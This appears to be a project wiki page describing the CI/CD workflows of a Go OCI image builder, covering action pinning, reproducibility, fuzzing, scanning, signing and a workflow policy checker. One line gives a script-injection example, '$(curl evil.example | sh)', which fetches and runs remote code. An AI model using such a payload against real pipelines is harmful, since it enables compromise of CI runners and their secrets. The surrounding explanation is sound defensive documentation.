Testing and CI CD

Testing and CI/CD

Twenty GitHub Actions workflows under .github/workflows/, all sharing the same baseline hardening: fixed runs-on: ubuntu-24.04 (or an explicit macos-15/windows-2025 leg where the job genuinely needs that OS - never -latest), an explicit timeout-minutes on every job, permissions: {contents: read} unless a step genuinely needs more (e.g. packages: write to publish), every single uses: action SHA-pinned - full 40-hex commit SHA, no exceptions, not even for actions/checkout or actions/setup-go - and set -euo pipefail at the top of every shell step. These rules aren't just convention - they're mechanically enforced by scripts/ci/verify-workflows.py against every workflow file on every run (see below).

Twenty workflows for one Go binary is not an accident - trust is meant to be demonstrated here, not requested.

Shared tool installation (podman, skopeo, runc, kind, crictl, benchstat, nuclei - anything installed via a shell run: step rather than its own SHA-pinned action) is centralized in scripts/ci/install-tools.sh, not a local composite action: verify-workflows.py rejects any uses: starting with ./ or docker:// outright (see below), which rules out .github/actions/* composite actions entirely - a plain script invoked from run: gets the same "pin the version once, every workflow picks it up" benefit without tripping that check. actions/setup-go itself is the one piece every Go job needs, and points at go-version-file: go.mod rather than a hardcoded version string, so the pinned toolchain version has exactly one source of truth: go.mod's own go directive.

The three evidence-oriented additions are:

• Benchmark (ci-benchmark.yml): five measurements at three payload sizes, published as raw text, JSON, Markdown, and environment identity in the benchmark-results artifact.
• OCI compatibility (ci-compatibility.yml): imports the same generated layout through Skopeo, Docker, and containerd and publishes versioned inspection evidence.
• GHCR/Cosign/admission E2E (ci-supply-chain-e2e.yml): publishes a commit image, signs its immutable digest with GitHub OIDC, installs Sigstore policy-controller in Kind, proves signed admission and unsigned rejection, and uploads the complete evidence bundle.

See Benchmarks, OCI Compatibility, and GHCR / Cosign / Kubernetes E2E.

Run everything locally first

go test ./...
go test -race ./...
go test ./... -coverprofile=coverage.out
go tool cover -func=coverage.out
go vet ./...
python3 scripts/ci/verify-workflows.py

The workflows

Quality (ci-quality.yml)

Triggers: push, pull request, weekly (Monday 03:13 UTC).

A matrix job over amd64/arm64. Every leg records the Go toolchain identity (go version, go env, and asserts GOTOOLCHAIN=local - i.e. CI never silently downloads a different Go version than the one it just installed), then cross-compiles cmd/oci-builder for that architecture and runs scripts/ci/verify-elf.sh against the result. The amd64 leg additionally runs, in order:

1. gofmt -l (must be empty), go vet ./..., go test ./... - and the same for cmd/platform-factory-installer, its own Go module under go.work that the root-module ./... above doesn't reach.
2. A real pipeline end to end through the shipped CLI: pipeline plan, then pipeline run twice against the same explicit cache, asserting a cache hit on the second run.
3. examples/run-all.sh - every portable user example (sdk, project-config, reproducible-build, supply-chain, observability, containerd-kubernetes, microvm) run through its own public run.sh entrypoint, exactly as a user would run it.
4. The public conformance suite from outside the source tree (cmd/platform-factory-conformance) against every language plugin SDK - Python, JavaScript, TypeScript (built via npm), and C# (via dotnet publish, skipped with a clear failure if no matching .NET 8 runtime is present) - plus the vectors, backend, and publication conformance suites.
5. Three explicit named regression-test filters: CLI (cmd/oci-builder), OCI (internal/ociruntime), and mTLS (internal/mtls).
6. scripts/local/bootstrap.sh for both linux/amd64 and windows/amd64, asserting every expected binary exists in each.
7. scripts/microvm/test-install-containerd-runtime.sh (idempotent install/reinstall/removal of the containerd node runtime), the Linux bootstrap's own activate/deactivate shell function, and a syntax-only parse of bootstrap.ps1 via PowerShell's own parser.
8. Both interactive installers smoke-tested non-interactively (scripts/local/install.sh and cmd/platform-factory-installer), each asserting the component selection it was given produced exactly the binaries it should (and none of the ones it shouldn't).
9. Race and coverage gate: go test -race ./... (root module, plus cmd/platform-factory-installer and cmd/tui, each its own Go module under go.work), then a coverage run gated at ≥87% statements.

A self-build-and-self-verify pass (build oci-builder, run it against itself to produce a layout, verify that layout), and a second self-build-and-verify pass with a fixed -created timestamp that also runs the hostile-layout negative-case suite, follow the gate above. Coverage files are uploaded as the regression-suite-evidence artifact.

This workflow used to be three separate files (ci-go-quality.yml, ci-test.yml, ci-regression-suite.yml) with real duplicated steps (go test ./... ran three times across them); they were merged into this one file, keeping every distinct check and removing the exact duplicates.

OCI validation (ci-oci-validation.yml)

Triggers: push, pull request.

Runs scripts/ci/build-verified-layout.sh (build the CLI, build a layout, verify it) against cmd/example-service, then independently hashes every blob and records a full filesystem listing (mode/size/path) of the generated layout. Separately runs scripts/ci/negative-oci-layout.py to prove the verifier rejects seven categories of hostile mutation. Uploads oci-validation-evidence (validation output, blob checksums, filesystem listing) - if-no-files-found: error, so a missing artifact fails the job rather than silently producing an empty evidence bundle.

Security analysis (ci-security.yml)

Triggers: push, pull request, weekly (Monday 03:17 UTC).

Two jobs:

• static-analysis (every trigger): runs scripts/ci/verify-workflows.py, go vet ./..., pinned govulncheck@v1.1.4, go test -race ./..., and a repo-wide grep that fails the build if any .go file contains os/exec, exec.Command, or InsecureSkipVerify - this project's code should never shell out or disable TLS verification, and this check makes "never" mechanically enforced instead of just a stated intent.
• pr-policy (pull requests only, guarded by if: github.event_name == 'pull_request'): checks out with fetch-depth: 0 (needed to diff against the PR base SHA), then runs scripts/ci/verify-workflows.py again, rejects any of coverage.out, coverage.txt, oci-image, oci-builder, or service if they were accidentally committed, rejects any TODO/FIXME/placeholder marker outside README.md, and runs git diff --check (rejects trailing whitespace / conflict markers) against the PR's base commit.

This was two separate files (ci-security.yml + ci-pull-request.yml) before being merged; both independently call verify-workflows.py because the two jobs have genuinely different checkout depths and purposes and gain more from running in parallel than they'd save by deduplicating one cheap Python invocation.

Reproducibility (ci-reproducibility.yml)

Triggers: push, pull request, weekly (Monday 04:23 UTC).

Three jobs: rebuild-a and rebuild-b each independently build the executable and layout from scratch in an isolated temp directory (with SOURCE_DATE_EPOCH=0), tar the result deterministically, and hash it; compare (which needs: [rebuild-a, rebuild-b]) downloads both artifacts and runs cmp on the tarballs and checksums - a real byte-for-byte comparison across two genuinely separate CI jobs/runners, not just "build once and trust it." See Architecture and OCI Layout for what "reproducible" precisely means here.

Runtime integration (ci-runtime.yml)

Triggers: push, pull request.

Generates a small static Go HTTP API inline (/healthz → PONG, / → HELLO WORLD), builds its layout, verifies the layout, then builds and runs it through the repository's own Dockerfile under docker run with the full hardening flag set (--read-only --cap-drop=ALL --security-opt no-new-privileges --tmpfs /tmp:...), polling /healthz until it responds and asserting the exact expected bodies. Separately (offline, no real cluster) validates a Kubernetes restricted-runtime Deployment manifest against the exact contract this project documents: automountServiceAccountToken: false, seccompProfile.type: RuntimeDefault, runAsNonRoot/runAsUser: 65532, allowPrivilegeEscalation: false, readOnlyRootFilesystem: true, capabilities.drop: [ALL], and explicit resource requests/limits.

MicroVM boot (ci-microvm.yml)

Triggers: push, pull request, workflow_dispatch.

Four jobs. prepare-hvf-guest (Linux, cross-compiling) and boot-under-kvm (Linux, native) each restore/build (and cache, keyed on build-kernel.sh/the config fragments) a from-source Linux kernel for their own target architecture. Both also restore/populate one shared source-tarball cache (.cache/microvm/kernel-src, keyed only on build-kernel.sh itself): the downloaded, checksum-verified Linux kernel source is identical regardless of target architecture, so whichever job runs first on a given kernel version saves one network fetch for the other, on this run or a later one. Every cache in this workflow uses split actions/cache/restore + actions/cache/save rather than the combined action, with the save placed immediately after the kernel finishes building (and, for boot-under-kvm, after it passes its own hardening/config assertions) - not left to the automatic post-job save, which is not guaranteed to get the time it needs to finish uploading if a later step in the same job hangs and the job's own timeout-minutes cancels it.

boot-under-kvm confirms /dev/kvm exists and the host CPU exposes vmx/svm, grants every engine the job drives access to it (chmod 666 - this runner is single-tenant and ephemeral for the job's lifetime, so there is no other tenant a world-writable device exposes; owner-only 0600 does not cover dockerd's or containerd's own OCI runtime invocations, which run as root, not as the runner user), exercises the project-owned KVM VM/vCPU primitive directly, builds cmd/example-service into a real OCI layout, boots it once through the project's own native KVM runner (go test ./internal/hypervisor/kvm -run TestRunLinuxWithRealKVM), then proves the same custom OCI runtime (platform-factory-runtime) boots that MicroVM correctly when driven by three independent, real container engines in turn: Podman, Docker, and a dedicated containerd instance launched via platform-factory-shim and crictl (see MicroVM Support for why all three are proven separately rather than trusting one to represent the OCI runtime contract). It then scans the kernel's resolved config with kernel-hardening-checker, proves the native initramfs assembly is byte-reproducible, and boots the image twice more - once for a plain smoke test, once to verify a guest-initiated graceful shutdown.

sign-kernel-evidence (push to main only) merges the kernel's provenance, SBOM, hardening report, and boot manifest into one bundle and signs it keylessly with Cosign, the same OIDC-scoped verification pattern ci-release.yml's sign job uses.

The separate boot-under-hvf job (macOS, needs: prepare-hvf-guest) always runs and always restores both the Go cache and the pre-built ARM64 guest from GitHub Actions cache; a missing guest cache fails the job. It compiles the Darwin CGO implementation, links Virtualization.framework, signs the test binary with the virtualization entitlement and attempts TestRunLinuxWithRealHVF and TestDarwinVMMWithRealHVF.

There are two distinct macOS proof levels:

• Contract evidence (continuous): every hosted run must pass all Darwin validation, ownership, cleanup, linkage and lifecycle contract tests. If Virtualization.framework reports exactly that virtualization is unavailable on the nested runner, the script excludes only the two hardware tests and runs the remaining suite. A green job in this mode is not proof of a guest boot.
• Hardware evidence: on Apple Silicon that exposes HVF, both real tests must boot the cached kernel/initramfs and pass without the unavailable-HVF fallback. scripts/microvm/test-hvf-local.sh is fail-closed by default; only CI explicitly sets SECURE_OCI_ALLOW_UNAVAILABLE_HVF=1. Release claims about an actual HVF boot require the unskipped result from local or self-hosted Apple Silicon, not merely a green hosted job.

See MicroVM Support for the full architecture.

CodeQL analysis (ci-codeql.yml)

Triggers: push, pull request, weekly (Monday 03:29 UTC).

GitHub's maintained CodeQL bundle, build-mode: manual (CI runs go build ./... itself, rather than letting CodeQL try to autodetect the build), results uploaded to the repository's Security tab. github/codeql-action/* is SHA-pinned exactly like every other action here - see the workflow policy checker below for why there is no tag-based exception for it or anything else.

Fuzz validation (ci-fuzz.yml)

Triggers: push to main, pull request, weekly (Saturday 04:41 UTC).

Runs Go's native fuzzing (go test -fuzz=...) against 19 named targets across every package that parses untrusted-shaped input - OCI labels and entrypoints (oci), the example HTTP handler, OCI layout index/manifest/ config/layer parsing (internal/layout), plugin manifests and RPC framing (internal/plugin, sdk/plugin), pipeline and SBOM document decoding, project config loading, registry responses, provenance journals, control-plane request decoding, publication policy evaluation, DSSE attestation verification, and microVM port-forward parsing - one step per target, each named after the boundary it covers. push/pull_request runs stay a quick 45s-per-target smoke check; the weekly schedule runs the same targets for 10m each (~3h total) for real long-duration coverage. Five more Fuzz* functions exist in the repository (FuzzCapabilityResolutionEvidence, FuzzMigrationWireDiscovery, FuzzMigrationArtifactMetadata, FuzzCanonicalGraph, FuzzMigrationPlanYAML) but aren't wired into this workflow yet.

Release evidence (ci-release.yml)

Triggers: a semantic-version tag push (vMAJOR.MINOR.PATCH).

Four sequential jobs, each depending on the last via needs:, each with its own scoped permissions:

flowchart LR
    tag(["git tag vX.Y.Z"]) --> validate["validate<br/>contents: read"]
    validate --> publish["publish<br/>packages: write"]
    publish --> sign["sign<br/>id-token: write"]
    sign --> release["release<br/>contents: write"]
    release --> gh(["GitHub Release"])

Loading

1. validate (contents: read) - builds and independently verifies a release layout, hashes everything, tars it into verified-layout.tar.
2. publish (environment: release, packages: write) - downloads that exact validated tarball (not a fresh rebuild), unpacks and re-verifies it, then uses an attestation-capable BuildKit builder to docker buildx build --provenance=mode=max --sbom=true --push to ghcr.io/<owner>/<repo>:<tag>. It records the published digest, then independently fetches docker buildx imagetools inspect --raw on that digest and runs scripts/ci/verify-attestation-index.py against it - proving the published index actually carries a BuildKit attestation-manifest entry, not just that the push command succeeded. It then pulls the image back down by digest and saves it as a Docker-loadable tarball.
3. sign (environment: release, packages: write, id-token: write) - installs Cosign and signs the immutable published digest, then immediately verifies that signature against the expected OIDC issuer (https://token.actions.githubusercontent.com) and a certificate identity regex scoped to this exact workflow file - not just "a signature exists," but "a signature from this workflow exists."
4. release (environment: release, contents: write) - packages a platform-factory-reports.zip evidence bundle and creates an immutable GitHub release (gh release create --verify-tag) with the image tarball and evidence attached.

Every job in this workflow uses environment: release - a GitHub Environment, which is where protection rules (required reviewers, wait timers, branch restrictions) would be configured on the repository side. The workflow file enforces the pipeline shape; the environment is where you'd enforce who can trigger a real publish.

MCP server image (ci-mcp-image.yml)

Triggers: push to main, semantic-version tag push.

Builds the pf mcp serve image the same way the main release image is built: the layout itself comes entirely from this repository's own native OCI builder (cmd/oci-builder, scripts/ci/build-mcp-image-layout.sh) for both amd64 and arm64 - no Dockerfile RUN step ever compiles code or assembles a layer. docker buildx only re-wraps the already-built, already-verified layout (via Dockerfile.mcp) to get a real multi-arch manifest list and registry push, then the workflow records the published digest, installs Cosign, and signs and verifies it keylessly - the same OIDC-scoped pattern as ci-release.yml's sign job.

Multi-arch OCI assembly (ci-multiarch.yml)

Triggers: push, pull request.

Builds and independently verifies an amd64 and an arm64 layout, then runs scripts/ci/assemble-multiarch.py to combine them into one multi-platform OCI index and asserts the resulting index.json lists exactly {linux/amd64, linux/arm64} - no more, no fewer. Tars the result deterministically and uploads it as the multiarch-oci-layout artifact.

Launch matrix (ci-launch.yml)

Triggers: push, pull request, weekly (Monday 04:43 UTC).

A matrix over docker/podman. Scaffolds a real compiled Go project on disk, runs platform-factory launch --dry-run and asserts the plan's exact phase set (freeze/build/run) without mutating anything, then runs a real platform-factory launch end to end against whichever engine the matrix leg names, asserts the program's own output, and verifies the resulting image. Separately proves a clean rebuild via platform-factory project build produces a byte-identical image (platform-factory diff against the first build), and proves platform-factory build --platform ... assembles a real multi-arch image from two independently cross-compiled binaries.

pf init experience (ci-pf-init-experience.yml)

Triggers: push, pull request.

Two jobs. personas-and-tui runs the named cmd/platform-factory regression tests for the empty-repository init flow, marketplace resolution, and TUI confirm/plugin-create/plugin-install paths, then runs demo/validate-personas.sh end to end - a from-clean-workspace walk through the junior (dry-run then real init, deterministic build), the intermediate (an SDK-backed language plugin, a manually built OCI image), and the senior (a full multi-stage pipeline run with an explicit CAS) experiences, using nothing but the CLI itself. local-container-engines is a docker/podman matrix that runs the junior persona's "deploy hello world" test against a real local engine (PF_REQUIRE_REAL_RUNTIME=1, so the test cannot silently fall back to a contract-only stub) and demo/validate.sh.

Kind multi-node runtime (ci-kind-multinode.yml)

Triggers: push, pull request, workflow_dispatch.

Creates a real one-control-plus-two-worker kind cluster (Podman provider) and proves, against it, four things a kubelet-driven deployment actually needs: the RuntimeClass scheduling contract (platform-factory-containerd runtimeclass output applied and exercised via crictl), distributed lease cancellation and restart durability across real nodes, recovery from a real network partition, and control-plane recovery after a worker is lost. Every proof script uploads its own evidence (kind-*-evidence artifact) regardless of outcome (if: always()), and the cluster is always torn down in a final step.

Sandbox (ci-sandbox.yml)

Triggers: push, pull request, weekly (Monday 04:53 UTC).

Proves the namespace/cgroup sandbox (internal/executor, the VMM host sandbox in internal/hypervisor/sandbox, and the supervisor PID-namespace lifecycle in internal/ociruntime) both works when it has the privilege it needs and fails closed cleanly when it doesn't. Each privileged case runs the compiled test binary under a delegated systemd-run --scope --property=Delegate=yes root scope (real unshare/pivot_root/cgroup-v2 delegation, which an unprivileged runner user cannot get); each unprivileged case runs the same test names as the plain runner user and asserts they skip rather than fail, which is what keeps a plain go test ./... green on a host where the sandbox is unavailable.

DAST validation (ci-dast.yml)

Triggers: push, pull request, weekly (Wednesday 05:13 UTC).

Runs the real cmd/example-service HTTP target against two independent dynamic scanners: OWASP ZAP's baseline scan (zaproxy/action-baseline) and Nuclei with the medium/high/critical severity template set, installed and template-seeded once (an authenticated, retried download of a pinned nuclei-templates commit) and invoked directly rather than through nuclei-action, which re-installs Nuclei from source on every run. The job fails if Nuclei reports any medium-or-higher finding.

System library scan (ci-system-libraries.yml)

Triggers: push, pull request, weekly (Tuesday 04:47 UTC).

Assembles a minimal, provenance-aware root filesystem containing exactly coreutils, libc6, and base-files (including a synthesized dpkg status file - without base-files' /etc/os-release, Trivy's rootfs OS analyzer silently reports family=none and never activates the Debian/Ubuntu vulnerability database, turning the scan into a no-op every run regardless of actual CVEs), then scans it with Trivy for HIGH/CRITICAL vulnerabilities with unfixed findings ignored. This is the native-library counterpart to govulncheck in ci-security.yml, which only covers Go module dependencies.

The workflow policy checker

scripts/ci/verify-workflows.py is itself part of CI (run by ci-security.yml's static-analysis job, and by pr-policy) and treats every file under .github/workflows/*.y*ml as data to validate, not trust. It parses each file with Ruby's YAML library (invoked as a subprocess) rather than a Python YAML library, specifically to avoid depending on PyYAML being present, and rejects:

• any job whose runs-on (or, for a matrix job, every entry in strategy.matrix.os) isn't one of the pinned supported images (ubuntu-24.04, macos-15, windows-2025)
• any job without an integer timeout-minutes
• any uses: action that isn't SHA-pinned - owner/repo@<40-hex-sha>, matched exactly, with no exceptions: not actions/checkout@v4, not actions/setup-go@v5, nothing tag-referenced at all, regardless of who publishes it
• any uses: value starting with ./ or docker:// - which is exactly why shared tool installation lives in scripts/ci/install-tools.sh (invoked from a run: step) rather than a local composite action; see above
• pull_request_target or workflow_run triggers (privileged trigger types that run with write-level secrets against untrusted PR code)
• any shell run: step whose script doesn't contain the literal string set -euo pipefail
• interpolating github.event.pull_request.title, .body, or .head.ref directly into a shell command (classic script-injection vector - a PR title like $(curl evil.example | sh) becomes literal shell if interpolated unescaped)
• any step whose run: script actually invokes the Go toolchain (go build/test/vet/run/install/env, as the command being run - not matched inside a quoted string, e.g. a documentation/report value) without GOTOOLCHAIN=local set in that step's or its job's env: - see Next-Generation-Architecture#the-three-way-boundary for why this matters: it's what stops CI from silently reaching for a network Go toolchain when go.mod outpaces the pinned actions/setup-go version

If you add or modify a workflow, run this locally before pushing:

python3 scripts/ci/verify-workflows.py

It requires ruby on PATH (used only as a YAML parser, not for anything else).

GHCR deployment

Pull the published image with any OCI-capable client, or configure your runtime to reference it by digest:

ghcr.io/<owner>/<repository>@sha256:<digest>

Always pull by digest, not by tag - the tag is a mutable pointer the release workflow sets once; the digest is what was actually signed and verified.

Artifact deployment (without pulling from a registry)

1. Open the GitHub release created for the semantic-version tag; download platform-factory-image.tar and platform-factory-reports.zip.
2. Verify the checksum, then load the image: sha256sum --check image-tar.sha256 && docker load --input platform-factory-image.tar.
3. Extract the evidence bundle: unzip platform-factory-reports.zip -d release-reports.
4. Inspect release-reports/publication-link.txt, signature-verification.json, image.digest, and verified-layout.tar to independently link the validated layout to the signed, published image digest yourself, rather than trusting the release notes alone.

Whichever deployment path you use, apply the runtime hardening flags from Security Model - none of this pipeline's evidence substitutes for them.